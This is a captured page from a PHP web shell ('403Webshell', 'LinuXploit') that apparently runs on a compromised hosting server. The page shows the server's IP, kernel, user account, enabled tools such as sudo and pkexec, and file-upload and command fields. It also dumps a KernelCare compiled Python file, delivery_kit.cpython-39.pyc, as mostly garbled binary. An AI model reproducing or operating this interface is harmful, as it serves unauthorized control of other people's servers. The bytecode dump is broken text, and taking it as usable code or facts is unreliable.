403Webshell
Server IP : 162.241.219.206  /  Your IP : 216.73.216.195
Web Server : Apache
System : Linux box5669.bluehost.com 5.14.0-687.15.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jun 11 08:51:45 EDT 2026 x86_64
User : signavd5 ( 2863)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/libexec/kcare/python/kcarectl/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/libexec/kcare/python/kcarectl/__pycache__/delivery_kit.cpython-39.pyc
a

��;j+�@s�ddlZddlZddlZddlZddlZddlZddlZddlmZddl	m
Z
mZmZm
Z
mZmZddlmZdd�ZGdd�de�ZGd	d
�d
e�ZdS)�N)�NamedTemporaryFile)�auth�config�
http_utils�ipv6_support�	log_utils�utils)�run_commandcCs<t|�}dD]$}|dkr(d�||�S|d}qd�|�S)zBRender a byte count as a short human-readable string for the logs.)�BZKiBZMiBZGiBg�@z{0:.1f} {1}z{0:.1f} TiB)�float�format)Z	num_bytes�sizeZunit�r�2/usr/libexec/kcare/python/kcarectl/delivery_kit.py�format_sizes
rc@s�eZdZdZdZdZdd�Zedd��Zedd��Z	d	d
�Z
d(d
d�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd �Zejejd!�d"d#��Zd$d%�Zd&d'�ZdS))�DataPackagez�Generic archive package for the patch server uploads pipeline.

    Based on DataPackage from eportal (delivery_kit.py). Subclasses
    supply the manifest `data_type`, the `upload_uri` to PUT the
    archive to and the `max_size` payload limit.
    �cCsd|_g|_d|_dS)Nr)�_tar�_errors_buffer�_total_payload_size��selfrrr�__init__-szDataPackage.__init__cCst�dS�N)�NotImplementedErrorrrrr�max_size3szDataPackage.max_sizecCs|��}t|j�Sr)�_ensure_tar_created�str�name)r�tarrrr�archive_path8szDataPackage.archive_pathc
Cs�d}d}ztt�|�ddd�\}}}Wn,tyR}zt|�}WYd}~n
d}~00|rj|�d�||��|dur�|j|tj	|dd�d�dS)NT)�catch_stdout�catch_stderrz!failed to dump stdout of {0}:
{1}�utf-8��encoding��
data_bytes)
r	�shlex�split�	Exceptionr�	log_errorr�add_filer�bstr)r�arcname�cmd�stdout�stderr�_�errr�
add_stdout>szDataPackage.add_stdoutNFc	
Csf|dur|durtd��|��}d}|durZtj�|�sL|�d�|��dStj�|�}nt|�}|�	|�s�|�d�|��dS|s�|�
|�s�|�d�|t|�t|j
�t|j���dSzp|r�|j||d�n"t�|�}||_|�|t�|��|�s&|j|7_tjd�|t|�t|j��dd	�Wn8t�y`}z|�d
�||��WYd}~n
d}~00dS)Nz"No src_path or data_bytes providedrzfile not found: {0}z no available space to store: {0}zPskipping {0}: {1} would exceed the {2} report size limit (already collected {3}))r.z%collected {0}: {1} (report total {2})F��	print_msgzfailed to store {0}: {1})�
ValueErrorr�os�path�existsr+r�getsize�len�_check_required_space�_check_total_payload_limit�log_warningrrr�add�tarfile�TarInfor
�addfile�io�BytesIOr�loginfor*)	rr.�src_pathr'�skip_limit_checkr�
entry_size�infor3rrrr,NsR
��
��
zDataPackage.add_filec
Cshztjtj|dd�dd�}Wn8tyT}z |�d�||��WYd}~dSd}~00|j||d�dS)N���indentr#r$zfailed to dump {0}:
{1}r&)rr-�json�dumps�	TypeErrorr+rr,)rr.�datar'r3rrr�add_json�szDataPackage.add_jsoncCst�|j�}|j|j|kSr)r8�statvfsr �f_frsize�f_bfree)rrIrSrrrr=�sz!DataPackage._check_required_spacecCs|j|j|kSr)rr)rrIrrrr>�sz&DataPackage._check_total_payload_limitcCsd|jtt���d�S)N�)Zschema_version�typeZtime_created)�	data_type�int�timerrrr�
make_manifest�s
�zDataPackage.make_manifestcCsNtjtj|��dd�dd�}|��}t�d�}t|�|_	|�
|t�|��dS)NrKrLr#r$z
manifest.json)
rr-rNrOr[rrArBr<r
rCrDrE)rr'rrJrrr�
_add_manifest�s


zDataPackage._add_manifestcCs&|��}tj|dd�|j�|�dS�NFr5)�stripr�logerrorr�append)rZ	error_msgrrrr+�szDataPackage.log_errorcCs&|��}tj|dd�|j�|�dSr])r^r�logwarnrr`)rZwarning_msgrrrr?�szDataPackage.log_warningcCs�dD]�}td�|dd��dd�}|��z<tjd�|j�dd�tj|j|dd	�|_|�	�|WSt
y�}zf|jdur�z|j��Wnt
y�Yn0d|_tj�
|j�r�t�|j�t|tj�sЂWYd}~qd}~00qt�d
��dS)N)zw:xzzw:bz2zw:gzz.tar.{0}�F)�suffix�deletezCreating DataPackage: {0}r5T)r�modeZdereferencez%No supported compression method found)rr�closerrFrrA�openrr\r*r8r9r:�unlink�
isinstanceZCompressionError)rZcompression_modeZtmpfile�errrrr�	__enter__�s(

zDataPackage.__enter__cCsP|jr,d�|j�d}|jdt�|�dd�|jrL|j��|rL|��dSdS)N�
z
errors.logT)r'rHF)r�joinr,rr-rrf�remove_archive)r�exc_typeZexc_valZexc_tb�errorsrrr�__exit__�s
zDataPackage.__exit__)�loggercCs$|jr tj�|j�r t�|j�dSr)rr8r9r:r rhrrrrrn�szDataPackage.remove_archivecCs|jstd��|jS)Nz/DataPackage should be used as a context manager)r�RuntimeErrorrrrrr�szDataPackage._ensure_tar_createdcCst|����tj�|j�}d|vr4||�d�d�nd}tt�	��|}t
��|j|}t
j|j|t��d�|S)aSend the package archive to the patch server.

        Upload errors propagate to the caller (see the eportal
        precedent): wrap with utils.catch_errors where a silent
        failure is acceptable.

        :return: Upload name (package identifier)
        �.Nr)�
upload_urlZauth_string)rrfr8r9�basenamer �findr�uuidZuuid4r�get_patch_server�
upload_urirZupload_filer�get_http_auth_string)rrv�ext�upload_namerurrr�send�s
�zDataPackage.send)NNF)�__name__�
__module__�__qualname__�__doc__rXrzr�propertyrr r4r,rRr=r>r[r\r+r?rkrqr�catch_errorsrrarnrr~rrrrr"s.


;

	 
rc@s eZdZdZdZedd��ZdS)�KernelAnomalyPackagezkernel-anomalyz/upload/kernel-anomaly/cCstjSr)rZ$KERNEL_ANOMALY_REPORT_MAX_SIZE_BYTESrrrrrszKernelAnomalyPackage.max_sizeN)rr�r�rXrzr�rrrrrr�sr�)rDrNr8r(rArZrx�tempfiler�kcarectlrrrrrrZkcarectl.process_utilsr	�Any�Dict�List�OptionalZSelfr�objectrr�rrrr�<module>s y

Youez - 2016 - github.com/yon3zu
LinuXploit